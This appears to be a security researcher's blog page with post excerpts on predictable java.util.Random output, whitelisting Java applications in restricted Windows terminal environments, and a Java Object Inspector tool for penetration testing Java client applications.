iplosion security

In my review practice I often have to look at Java source code which is used to generate passwords, authentication tokens or session ids. Ever so often this code uses the Java API class java.util.Random to generate random numbers. It is well-established in security industry that this particular random generator is not secure. Since I did not know what the reason is for this perception I started to have a closer look.

During the review of the Java API source code I discovered two vulnerabilities which cause the internal state of java.util.Random to be partially exposed or easy guessable. The paper Ruining Security with java.util.Random demonstrates two techniques how security mechanisms based on java.util.Random can be attacked and under certain conditions can be broken within seconds. Using these weaknesses an attacker can synchronize into the stream of random numbers and therefore calculate all future random numbers. For security relevant code java.util.Random should never be used. At least the Java class java.security.SecureRandom with the default constructor should be utilized. This provides much better security.

If you know about other vulnerabilities in the design of java.util.Random or you know about vulnerabilities in java.security.SecureRandom I would be happy to hear about it.

Lately I came across several Citrix and Terminal Server projects which provide a restricted set of applications to their users. This is achieved using Windows Software Restriction Policies or AppSense Application Manager to white or black list executables.

One of these permitted binaries is often java.exe. Now the problem arises that once Java is enabled any Java application can be executed on the system. This allows a malicious user to execute arbitrary Java code, like replacement shells (JSH), RDP clients (Propero Java RDP) and network port scanners. I could block java.exe but business requires that the company’s Java application must still work. This lead me into this research on how to white list Java applications in a restricted Windows environment.

(more…)

Penetration testers are often faced with the situation in which they have to test authentication, authorization and failure behavior. One question could be: Is it possible for a customer to access or modify the data of another customer? For browser applications to test this, they modify the requests sent to the server using some kind of inspection proxy, like Paros.

However, there are also non-browser client applications written in high-level languages like Java. Often these applications do not communicate in plaintext HTTP requests with the server but instead utilize some sort of binary communication. Such traffic cannot be decoded and modified easily due to their proprietary data format, which makes testing with text based proxy tools almost impossible.

To facilitate the testing of client applications written in Java 1.2 and above, I have developed a tool called the Java Object Inspector. This tool allows inspection and modification of data records (i.e. member variables of Java objects) in running Java applications and applets. For details see paper.